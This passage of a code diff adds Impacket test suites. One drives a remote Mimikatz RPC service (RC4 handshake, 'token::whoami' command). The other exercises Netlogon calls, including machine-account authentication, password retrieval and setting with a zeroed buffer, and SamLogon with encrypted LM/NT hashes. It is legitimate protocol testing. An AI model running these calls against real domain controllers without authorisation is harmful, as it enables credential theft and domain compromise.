+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)MimiBind
+#   (h)MimiCommand
+#   MimiUnBind
+#
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from Cryptodome.Cipher import ARC4
+
+from impacket.dcerpc.v5 import mimilib
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+@pytest.mark.remote
+class MimiKatzTests(DCERPCTests, unittest.TestCase):
+    timeout = 30000
+    iface_uuid = mimilib.MSRPC_UUID_MIMIKATZ
+    protocol = "ncacn_ip_tcp"
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+    mimikatz_command = "token::whoami"
+
+    def get_dh_public_key(self):
+        dh = mimilib.MimiDiffeH()
+        blob = mimilib.PUBLICKEYBLOB()
+        blob['y'] = dh.genPublicKey()[::-1]
+        public_key = mimilib.MIMI_PUBLICKEY()
+        public_key['sessionType'] = mimilib.CALG_RC4
+        public_key['cbPublicKey'] = 144
+        public_key['pbPublicKey'] = blob.getData()
+        return dh, public_key
+
+    def get_handle_key(self, dce):
+        # Build handshake request
+        dh, public_key = self.get_dh_public_key()
+        resp = mimilib.hMimiBind(dce, public_key)
+        # Get shared secret and obtain handle
+        blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey']))
+        key = dh.getSharedSecret(blob['y'][::-1])
+        pHandle = resp['phMimi']
+        return pHandle, key[-16:]
+
+    def test_MimiBind(self):
+        dce, rpc_transport = self.connect()
+        dh, public_key = self.get_dh_public_key()
+
+        request = mimilib.MimiBind()
+        request['clientPublicKey'] = public_key
+        # Send request and get response
+        resp = dce.request(request)
+        self.assertEqual(resp["ErrorCode"], 0)
+        self.assertEqual(resp["serverPublicKey"]["sessionType"], mimilib.CALG_RC4)
+
+        # Get shared secret and obtain handle
+        blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey']))
+        key = dh.getSharedSecret(blob['y'][::-1])
+        pHandle = resp['phMimi']
+        self.assertIsInstance(pHandle, bytes)
+        self.assertIsInstance(key, bytes)
+
+        dce.disconnect()
+        rpc_transport.disconnect()
+
+    def test_hMimiBind(self):
+        dce, rpc_transport = self.connect()
+        dh, public_key = self.get_dh_public_key()
+
+        resp = mimilib.hMimiBind(dce, public_key)
+        self.assertEqual(resp["ErrorCode"], 0)
+        self.assertEqual(resp["serverPublicKey"]["sessionType"], mimilib.CALG_RC4)
+
+        dce.disconnect()
+        rpc_transport.disconnect()
+
+    def test_MimiCommand(self):
+        dce, rpc_transport = self.connect()
+        pHandle, key = self.get_handle_key(dce)
+
+        cipher = ARC4.new(key[::-1])
+        command = cipher.encrypt("{}\x00".format(self.mimikatz_command).encode('utf-16le'))
+        request = mimilib.MimiCommand()
+        request['phMimi'] = pHandle
+        request['szEncCommand'] = len(command)
+        request['encCommand'] = list(command)
+
+        resp = dce.request(request)
+        self.assertEqual(resp["ErrorCode"], 0)
+        self.assertEqual(len(resp["encResult"]), resp["szEncResult"])
+
+        cipherText = b''.join(resp['encResult'])
+        cipher = ARC4.new(key[::-1])
+        plain = cipher.decrypt(cipherText)
+
+        dce.disconnect()
+        rpc_transport.disconnect()
+
+    def test_hMimiCommand(self):
+        dce, rpc_transport = self.connect()
+        pHandle, key = self.get_handle_key(dce)
+
+        cipher = ARC4.new(key[::-1])
+        command = cipher.encrypt("{}\x00".format(self.mimikatz_command).encode('utf-16le'))
+        resp = mimilib.hMimiCommand(dce, pHandle, command)
+        self.assertEqual(resp["ErrorCode"], 0)
+        self.assertEqual(len(resp["encResult"]), resp["szEncResult"])
+
+        dce.disconnect()
+        rpc_transport.disconnect()
+
+    def test_MimiUnBind(self):
+        dce, rpc_transport = self.connect()
+        pHandle, key = self.get_handle_key(dce)
+
+        request = mimilib.MimiUnbind()
+        request['phMimi'] = pHandle
+
+        resp = dce.request(request)
+        self.assertEqual(resp["ErrorCode"], 0)
+
+        dce.disconnect()
+        rpc_transport.disconnect()
+
+
+class MimiKatzTestsAuthn(MimiKatzTests):
+    authn = True
+
+
+class MimiKatzTestsIntegrity(MimiKatzTestsAuthn):
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
+
+
+class MimiKatzTestsPrivacy(MimiKatzTestsAuthn):
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_nrpc.py b/tests/dcerpc/test_nrpc.py
new file mode 100644
index 0000000..8305ac8
--- /dev/null
+++ b/tests/dcerpc/test_nrpc.py
@@ -0,0 +1,1060 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)DsrGetDcNameEx2
+#   (h)DsrGetDcNameEx
+#   (h)DsrGetDcName
+#   (h)NetrGetDCName
+#   (h)NetrGetAnyDCName
+#   (h)DsrGetSiteName
+#   (h)DsrGetDcSiteCoverageW
+#   (h)DsrAddressToSiteNamesW
+#   DsrAddressToSiteNamesExW
+#   DsrDeregisterDnsHostRecords
+#   (h)NetrServerReqChallenge
+#   (h)NetrServerAuthenticate3
+#   (h)NetrServerAuthenticate2
+#   (h)NetrServerAuthenticate
+#   (h)NetrServerPasswordGet
+#   (h)NetrServerTrustPasswordsGet
+#   (h)NetrServerPasswordSet2
+#   (h)NetrLogonGetDomainInfo
+#   (h)NetrLogonGetCapabilities
+#   NetrLogonSamLogonEx
+#   NetrLogonSamLogonWithFlags
+#   NetrLogonSamLogon
+#   NetrDatabaseDeltas
+#   NetrDatabaseSync2
+#   NetrDatabaseSync
+#   NetrDatabaseRedo
+#   DsrEnumerateDomainTrusts
+#   NetrEnumerateTrustedDomainsEx
+#   NetrEnumerateTrustedDomains
+#   NetrGetForestTrustInformation
+#   DsrGetForestTrustInformation
+#   (h)NetrServerGetTrustInfo
+#   NetrLogonGetTrustRid
+#   NetrLogonComputeServerDigest
+#   NetrLogonComputeClientDigest
+#   NetrLogonSendToSam
+#   NetrLogonSetServiceBits
+#   NetrLogonGetTimeServiceParentDomain
+#   NetrLogonControl2Ex
+#   NetrLogonControl2
+#   NetrLogonControl
+#   NetrLogonUasLogon
+#   NetrLogonUasLogoff
+#
+# Not yet:
+#   NetrLogonSamLogoff
+#   NetrServerPasswordSet
+#   NetrAccountDeltas
+#   NetrAccountSync
+#   DSRUpdateReadOnlyServerDnsRecords
+#   NetrChainSetClientAttributes
+#
+# TODO: Establish a secure RPC session. Some authenticated test cases will Xfail due to Zerologon patch
+#
+import pytest
+import unittest
+from struct import unpack
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import nrpc
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket import ntlm
+
+
+class NRPCTests(DCERPCTests):
+    iface_uuid = nrpc.MSRPC_UUID_NRPC
+    authn = True
+    machine_account = True
+
+    def authenticate(self, dce):
+        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        self.sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, bnthash)
+
+        self.clientStoredCredential = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey)
+
+        try:
+            resp = nrpc.hNetrServerAuthenticate3(dce, self.serverName, self.machine_user + '\x00',
+                                                 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                                 self.machine_user, self.clientStoredCredential, 0x600FFFFF)
+            resp.dump()
+        except nrpc.DCERPCSessionError as e:
+            if str(e).find("STATUS_DOWNGRADE_DETECTED") < 0:
+                raise
+
+        # dce.set_auth_type(RPC_C_AUTHN_NETLOGON)
+        # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
+        # dce2 = dce.alter_ctx(nrpc.MSRPC_UUID_NRPC)
+        # dce2.set_session_key(self.sessionKey)
+
+    def update_authenticator(self):
+        return nrpc.ComputeNetlogonAuthenticator(self.clientStoredCredential, self.sessionKey)
+
+    def test_DsrGetDcNameEx2(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrGetDcNameEx2()
+        request['ComputerName'] = self.serverName + '\x00'
+        request['AccountName'] = 'Administrator\x00'
+        request['AllowableAccountControlBits'] = 1 << 9
+        request['DomainName'] = NULL
+        request['DomainGuid'] = NULL
+        request['SiteName'] = NULL
+        request['Flags'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDsrGetDcNameEx2(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hDsrGetDcNameEx2(dce, NULL, 'Administrator\x00', 1 << 9, NULL, NULL, NULL, 0)
+        resp.dump()
+
+    def test_DsrGetDcNameEx(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrGetDcNameEx()
+        request['ComputerName'] = NULL
+        request['DomainName'] = NULL
+        request['DomainGuid'] = NULL
+        request['SiteName'] = NULL
+        request['Flags'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDsrGetDcNameEx(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
+        resp.dump()
+
+    def test_DsrGetDcName(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrGetDcName()
+        request['ComputerName'] = NULL
+        request['DomainName'] = NULL
+        request['DomainGuid'] = NULL
+        request['SiteGuid'] = NULL
+        request['Flags'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDsrGetDcName(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hDsrGetDcName(dce, self.serverName, NULL, NULL, NULL, 0)
+        resp.dump()
+
+    def test_NetrGetDCName(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrGetDCName()
+        request['ServerName'] = '\x00' * 20
+        request['DomainName'] = self.domain.split('.')[0] + '\x00'
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrGetDCName(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hNetrGetDCName(dce, '\x00' * 20, self.domain.split('.')[0])
+        resp.dump()
+
+    def test_NetrGetAnyDCName(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrGetAnyDCName()
+        request['ServerName'] = self.serverName + '\x00'
+        request['DomainName'] = self.domain + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    def test_hNetrGetAnyDCName(self):
+        dce, rpctransport = self.connect()
+        try:
+            nrpc.hNetrGetAnyDCName(dce, NULL, self.domain)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    def test_DsrGetSiteName(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrGetSiteName()
+        request['ComputerName'] = NULL
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDsrGetSiteName(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hDsrGetSiteName(dce, NULL)
+        resp.dump()
+
+    def test_DsrGetDcSiteCoverageW(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrGetDcSiteCoverageW()
+        request['ServerName'] = self.serverName + '\x00'
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDsrGetDcSiteCoverageW(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hDsrGetDcSiteCoverageW(dce, self.serverName)
+        resp.dump()
+
+    def test_DsrAddressToSiteNamesW(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrAddressToSiteNamesW()
+        request['ComputerName'] = NULL
+        request['EntryCount'] = 1
+        addr = nrpc.IPv4Address()
+        import socket
+        addr['AddressFamily'] = socket.AF_INET
+        addr['Port'] = 0
+        addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]
+        socketAddress = nrpc.NL_SOCKET_ADDRESS()
+        socketAddress['lpSockaddr'] = list(addr.getData())
+        socketAddress['iSockaddrLength'] = len(addr.getData())
+        request['SocketAddresses'].append(socketAddress)
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDsrAddressToSiteNamesW(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrAddressToSiteNamesW()
+        request['ComputerName'] = NULL
+        request['EntryCount'] = 1
+        addr = nrpc.IPv4Address()
+        import socket
+        addr['AddressFamily'] = socket.AF_INET
+        addr['Port'] = 0
+        addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]
+        socketAddress = nrpc.NL_SOCKET_ADDRESS()
+        socketAddress['lpSockaddr'] = list(addr.getData())
+        socketAddress['iSockaddrLength'] = len(addr.getData())
+        request['SocketAddresses'].append(socketAddress)
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_DsrAddressToSiteNamesExW(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrAddressToSiteNamesExW()
+        request['ComputerName'] = NULL
+        request['EntryCount'] = 1
+        addr = nrpc.IPv4Address()
+        import socket
+        addr['AddressFamily'] = socket.AF_INET
+        addr['Port'] = 0
+        addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]
+        socketAddress = nrpc.NL_SOCKET_ADDRESS()
+        socketAddress['lpSockaddr'] = list(addr.getData())
+        socketAddress['iSockaddrLength'] = len(addr.getData())
+        request['SocketAddresses'].append(socketAddress)
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_DsrDeregisterDnsHostRecords(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrDeregisterDnsHostRecords()
+        request['ServerName'] = NULL
+        request['DnsDomainName'] = 'BETUS\x00'
+        request['DomainGuid'] = NULL
+        request['DsaGuid'] = NULL
+        request['DnsHostName'] = 'BETUS\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The client doesn't have sufficient privilege with the Access Request mask set to NETLOGON_CONTROL_ACCESS.
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_NetrServerReqChallenge_NetrServerAuthenticate3(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrServerReqChallenge()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['ClientChallenge'] = b'12345678'
+
+        resp = dce.request(request)
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        request = nrpc.NetrServerAuthenticate3()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['ClientCredential'] = ppp
+        request['NegotiateFlags'] = 0x600FFFFF
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        resp = nrpc.hNetrServerAuthenticate3(dce, self.serverName, self.machine_user,
+                                             nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                             self.machine_user, ppp, 0x600FFFFF)
+        resp.dump()
+
+    def test_NetrServerReqChallenge_hNetrServerAuthenticate2(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrServerReqChallenge()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['ClientChallenge'] = b'12345678'
+
+        resp = dce.request(request)
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        resp = nrpc.hNetrServerAuthenticate2(dce, self.serverName, self.machine_user,
+                                             nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                             self.machine_user, ppp, 0x600FFFFF)
+        resp.dump()
+
+    def test_hNetrServerReqChallenge_NetrServerAuthenticate2(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        request = nrpc.NetrServerAuthenticate2()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['ClientCredential'] = ppp
+        request['NegotiateFlags'] = 0x600FFFFF
+
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_NetrServerReqChallenge_NetrServerAuthenticate(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrServerReqChallenge()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['ClientChallenge'] = b'12345678'
+
+        resp = dce.request(request)
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        request = nrpc.NetrServerAuthenticate()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['ClientCredential'] = ppp
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
+                raise
+
+    def test_hNetrServerReqChallenge_hNetrServerAuthenticate(self):
+        dce, rpctransport = self.connect()
+        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')
+        resp.dump()
+        serverChallenge = resp['ServerChallenge']
+
+        bnthash = self.machine_user_bnthash or None
+        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)
+
+        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
+
+        resp.dump()
+        try:
+            nrpc.hNetrServerAuthenticate(dce, self.serverName, self.machine_user,
+                                         nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                         self.serverName, ppp)
+        except DCERPCException as e:
+            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrServerPasswordGet(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrServerPasswordGet()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['AccountType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The caller is not a BDC
+            if str(e).find('STATUS_ACCESS_DENIED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_hNetrServerPasswordGet(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+
+        try:
+            nrpc.hNetrServerPasswordGet(dce, self.serverName, self.machine_user,
+                                        nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                        self.machine_user, self.update_authenticator())
+        except DCERPCException as e:
+            # The caller is not a DC or PDC
+            if str(e).find('STATUS_ACCESS_DENIED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrServerTrustPasswordsGet(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrServerTrustPasswordsGet()
+        request['TrustedDcName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+
+        resp = dce.request(request)
+        resp.dump()
+
+    @pytest.mark.xfail
+    def test_hNetrServerTrustPasswordsGet(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        resp = nrpc.hNetrServerTrustPasswordsGet(dce, self.serverName, self.machine_user,
+                                                 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                                 self.machine_user, self.update_authenticator())
+        resp.dump()
+
+    @pytest.mark.xfail
+    def test_NetrServerPasswordSet2(self):
+        # It doesn't do much, should throw STATUS_ACCESS_DENIED
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrServerPasswordSet2()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        cnp = nrpc.NL_TRUST_PASSWORD()
+        cnp['Buffer'] = b'\x00'*512
+        cnp['Length'] = 0x8
+
+        request['ClearNewPassword'] = cnp.getData()
+        #request['ClearNewPassword'] = nrpc.NL_TRUST_PASSWORD()
+        #request['ClearNewPassword']['Buffer'] = b'\x00' *512
+        #request['ClearNewPassword']['Length'] = 0x8
+        request.dump()
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The caller is not a DC or a PDC
+            if str(e).find('STATUS_ACCESS_DENIED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_hNetrServerPasswordSet2(self):
+        # It doesn't do much, should throw STATUS_ACCESS_DENIED
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        cnp = nrpc.NL_TRUST_PASSWORD()
+        cnp['Buffer'] = b'\x00'*512
+        cnp['Length'] = 0x8
+
+        try:
+            nrpc.hNetrServerPasswordSet2(dce, self.serverName, self.machine_user,
+                                         nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                         self.machine_user, self.update_authenticator(), cnp.getData())
+        except DCERPCException as e:
+            # The caller is not a DC or PDC
+            if str(e).find('STATUS_ACCESS_DENIED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrLogonGetDomainInfo(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrLogonGetDomainInfo()
+        request['ServerName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['Level'] = 1
+        request['WkstaBuffer']['tag'] = 1
+        request['WkstaBuffer']['WorkstationInfo']['DnsHostName'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['SiteName'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['OsName'] = ''
+        request['WkstaBuffer']['WorkstationInfo']['Dummy1'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['Dummy2'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['Dummy3'] = NULL
+        request['WkstaBuffer']['WorkstationInfo']['Dummy4'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    @pytest.mark.xfail
+    def test_hNetrLogonGetDomainInfo(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        resp = nrpc.hNetrLogonGetDomainInfo(dce, self.serverName, self.machine_user, self.update_authenticator(), 0, 1)
+        resp.dump()
+
+    @pytest.mark.xfail
+    def test_NetrLogonGetCapabilities(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrLogonGetCapabilities()
+        request['ServerName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['QueryLevel'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+    @pytest.mark.xfail
+    def test_hNetrLogonGetCapabilities(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        resp = nrpc.hNetrLogonGetCapabilities(dce, self.serverName, self.machine_user, self.update_authenticator(),
+                                              0)
+        resp.dump()
+
+    def test_NetrLogonSamLogonEx(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrLogonSamLogonEx()
+        request['LogonServer'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
+        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
+        request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain
+        request['LogonInformation']['LogonInteractive']['Identity'][
+            'ParameterControl'] = 2 + 2 ** 14 + 2 ** 7 + 2 ** 9 + 2 ** 5 + 2 ** 11
+        request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username
+        request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''
+
+        if len(self.hashes):
+            blmhash = self.blmhash
+            bnthash = self.bnthash
+        else:
+            blmhash = ntlm.LMOWFv1(self.password)
+            bnthash = ntlm.NTOWFv1(self.password)
+        try:
+            from Cryptodome.Cipher import ARC4
+        except Exception:
+            print("Warning: You don't have any crypto installed. You need pycryptodomex")
+            print("See https://pypi.org/project/pycryptodomex/")
+
+        rc4 = ARC4.new(self.sessionKey)
+        blmhash = rc4.encrypt(blmhash)
+        rc4 = ARC4.new(self.sessionKey)
+        bnthash = rc4.encrypt(bnthash)
+
+        request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash
+        request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash
+        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
+        request['ExtraFlags'] = 1
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_INTERNAL_ERROR') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrLogonSamLogonWithFlags(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrLogonSamLogonWithFlags()
+        request['LogonServer'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
+        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
+        request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain
+        request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2 + 2 ** 14 + 2 ** 7 + 2 ** 9 + 2 ** 5 + 2 ** 11
+        request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username
+        request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''
+        if len(self.hashes):
+            blmhash = self.blmhash
+            bnthash = self.bnthash
+        else:
+            blmhash = ntlm.LMOWFv1(self.password)
+            bnthash = ntlm.NTOWFv1(self.password)
+
+        try:
+            from Cryptodome.Cipher import ARC4
+        except Exception:
+            print("Warning: You don't have any crypto installed. You need pycryptodomex")
+            print("See https://pypi.org/project/pycryptodomex/")
+
+        rc4 = ARC4.new(self.sessionKey)
+        blmhash = rc4.encrypt(blmhash)
+        rc4 = ARC4.new(self.sessionKey)
+        bnthash = rc4.encrypt(bnthash)
+
+        request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash
+        request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash
+        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['ExtraFlags'] = 0
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
